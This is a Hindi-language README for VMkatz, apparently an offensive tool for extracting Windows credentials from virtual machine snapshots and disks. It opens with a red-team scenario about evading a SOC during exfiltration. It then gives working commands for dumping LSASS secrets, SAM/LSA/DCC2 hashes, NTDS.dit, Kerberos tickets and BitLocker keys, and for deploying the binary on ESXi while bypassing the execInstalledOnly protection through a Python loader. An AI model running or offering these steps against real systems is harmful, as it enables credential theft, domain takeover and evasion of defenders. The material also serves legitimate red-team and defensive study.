VMkatz

चुराने के लिए बहुत बड़ा

आप एक रेड टीम अभियान में तीन सप्ताह से हैं। आपका ट्रैफिक एक VPN के माध्यम से रेंगता है, फिर चार SOCKS प्रॉक्सी के माध्यम से उछलता है जो जंप बॉक्सेज के माध्यम से चेन किए गए हैं, इससे पहले कि वह लक्ष्य नेटवर्क को छूए। हर पैकेट एक लंबा रास्ता तय करता है।

दिनों के लेटरल मूवमेंट के बाद, आप वर्चुअलाइजेशन क्लस्टर से जुड़े एक NAS पर पहुँचते हैं और डायरेक्टरी लिस्टिंग अलग ही होती है: .vmdk, .vmsn, .sav की पंक्तियाँ। सैकड़ों गीगाबाइट वर्चुअल मशीनें - डोमेन कंट्रोलर, एडमिन वर्कस्टेशन, सबसे कीमती डेटा - वहीं पड़े हैं।

लेकिन आपका लिंक 200 KB/s पर हाँफता है। एक 100 GB डिस्क इमेज खींचने में छह दिन लगेंगे, और हर घंटे का निरंतर एक्सफिल्ट्रेशन SOC को असामान्यता दिखाने, आपकी टनल को जलाने और पूरी चेन को ढहाने का एक और मौका है।

VMkatz इसलिए मौजूद है क्योंकि आपको वह एक्सफिल्ट्रेट नहीं करना चाहिए जिसे आप जगह पर पढ़ सकते हैं। यह VM मेमोरी स्नैपशॉट और वर्चुअल डिस्क से सीधे Windows सीक्रेट - NTLM हैश, DPAPI मास्टर की, Kerberos टिकट, कैश्ड डोमेन क्रेडेंशियल, LSA सीक्रेट, NTDS.dit, BitLocker की - निकालता है, NAS पर, हाइपरवाइजर पर, जहाँ भी VM फाइलें हैं।

एक एकल स्टैटिक बाइनरी, ~3 MB। इसे ESXi होस्ट, Proxmox नोड या NAS पर ड्रॉप करें। इसे .vmsn, .vmdk या पूरे VM फोल्डर पर इंगित करें। डिस्क इमेज नहीं, क्रेडेंशियल लेकर चले जाएँ।

यह क्या निकालता है

मेमोरी स्नैपशॉट (LSASS) से

मिमिकेट्ज़ (mimikatz) द्वारा लागू किए गए सभी 9 SSP क्रेडेंशियल प्रदाता:

साथ ही: मेमोरी से BitLocker FVEK निकासी (पूल टैग स्कैन FVEc/Cngb के लिए)।

वर्चुअल डिस्क (ऑफलाइन) से

• SAM हैश: स्थानीय खाता NT/LM हैश खाता स्थिति के साथ (अक्षम, खाली पासवर्ड)
• LSA सीक्रेट: सेवा खाता पासवर्ड, ऑटो-लॉगऑन क्रेडेंशियल, मशीन खाता की
• कैश्ड डोमेन क्रेडेंशियल: DCC2 हैश (अंतिम N डोमेन लॉगऑन)
• DPAPI मास्टर की: Hashcat-तैयार हैश ($DPAPImk$ — मोड 15300/15310/15900/15910)
• NTDS.dit: डोमेन कंट्रोलर डिस्क से पूर्ण एक्टिव डायरेक्टरी हैश निकासी (नेटिव ESE पार्सर)
• BitLocker डिक्रिप्शन: मेमोरी से निकाले गए FVEK का उपयोग करके पारदर्शी डिस्क डिक्रिप्शन

समर्थित इनपुट

लक्ष्य OS: Windows Server 2003 से Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64)।

त्वरित आरंभ

# VMware स्नैपशॉट से LSASS क्रेडेंशियल निकालें
./vmkatz snapshot.vmsn

# पेज-आउट क्रेडेंशियल के लिए पेजफाइल रिज़ॉल्यूशन के साथ
./vmkatz --disk disk.vmdk snapshot.vmsn

# वर्चुअल डिस्क से SAM/LSA/DCC2 निकालें
./vmkatz disk.vmdk

# डोमेन कंट्रोलर डिस्क से AD हैश निकालें
./vmkatz --ntds dc-disk.qcow2

# VM फोल्डर पर इंगित करें और इसे सब कुछ खोजने दें
./vmkatz /path/to/vm-directory/

# रॉ रजिस्ट्री हाइव्स से निकालें
./vmkatz SAM SYSTEM SECURITY

# hashcat-तैयार हैश के रूप में आउटपुट
./vmkatz --format hashcat snapshot.vmsn

# Kerberos टिकट निर्यात करें
./vmkatz --kirbi snapshot.vmsn        # .kirbi फाइलें
./vmkatz --ccache snapshot.vmsn       # .ccache फाइल

# dislocker के लिए BitLocker FVEK निर्यात करें
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

# एक पथ के तहत सभी VM को पुनरावर्ती रूप से स्कैन करें
./vmkatz -r /vmfs/volumes/datastore1/

# LSASS मिनीडंप पार्स करें
./vmkatz lsass.dmp

आउटपुट प्रारूप

ESXi पर तैनाती

# ESXi के लिए क्रॉस-कंपाइल (musl स्टैटिक)
cargo build --release --target x86_64-unknown-linux-musl

# अपलोड करें और चलाएँ
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn

जब VIB सुरक्षा (execInstalledOnly) सक्षम हो, तो Python लोडर का उपयोग करें — सेटिंग को अक्षम करने की आवश्यकता नहीं:

scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn

VIB बायपास विवरण, VMFS रॉ डिवाइस एक्सेस और ऑटो-डिस्कवरी के लिए docs/esxi.md देखें।

बिल्ड सुविधाएँ

VMkatz मॉड्यूलर है। सुविधाओं को कंपाइल समय पर सक्षम/अक्षम किया जा सकता है:

cargo build --release                                              # पूर्ण बिल्ड
cargo build --release --no-default-features --features vmware      # केवल VMware
cargo build --release --no-default-features --features "sam ntds.dit"  # केवल डिस्क

दस्तावेज़ीकरण

• ESXi तैनाती, VIB बायपास, VMFS रॉ एक्सेस
• उदाहरण आउटपुट
• आर्किटेक्चर और मॉड्यूल लेआउट
• परीक्षित लक्ष्य और ज्ञात सीमाएँ

आभार

• mimikatz by Benjamin Delpy (@gentilkiwi) -- LSASS आंतरिक और Windows क्रेडेंशियल डिक्रिप्शन के लिए निश्चित संदर्भ।
• pypykatz by Tamás Jós (@skelsec) -- शुद्ध Python मिमिकेट्ज़ पुनर्कार्यान्वयन, SAM/LSA/DCC2 निकासी के लिए क्रॉस-रेफरेंस के रूप में उपयोग किया गया।
• Impacket by Fortra (मूल रूप से Alberto Solino @agsolino) -- NTDS.dit निकासी और pwdump आउटपुट प्रारूप के लिए संदर्भ कार्यान्वयन।
• Vergilius Project -- प्रलेखित Windows कर्नेल संरचनाएँ, जिनका उपयोग सभी समर्थित बिल्ड (XP से Win11 24H2) में EPROCESS फ़ील्ड ऑफ़सेट को सत्यापित करने के लिए किया गया।
• dissect.vmfs by Fox-IT (NCC Group) -- Dissect DFIR फ्रेमवर्क से Python VMFS पार्सर, VMFS डिस्क-पर संरचनाओं के लिए संदर्भ के रूप में उपयोग किया गया।
• vmfs-tools by Mike Hommey -- ओपन-सोर्स VMFS3/5 कार्यान्वयन जो कोर डिस्क-पर संरचनाओं और पता प्रकारों का दस्तावेजीकरण करता है।
• volatility-kerberos by Sylvain Peyrefitte (@citronneur, Airbus CERT) -- Volatility 3 Kerberos प्लगइन, ने मुक्त LSASS मेमोरी से अनाथ टिकटों को पुनर्प्राप्त करने के लिए टिकट कार्विंग दृष्टिकोण को प्रेरित किया।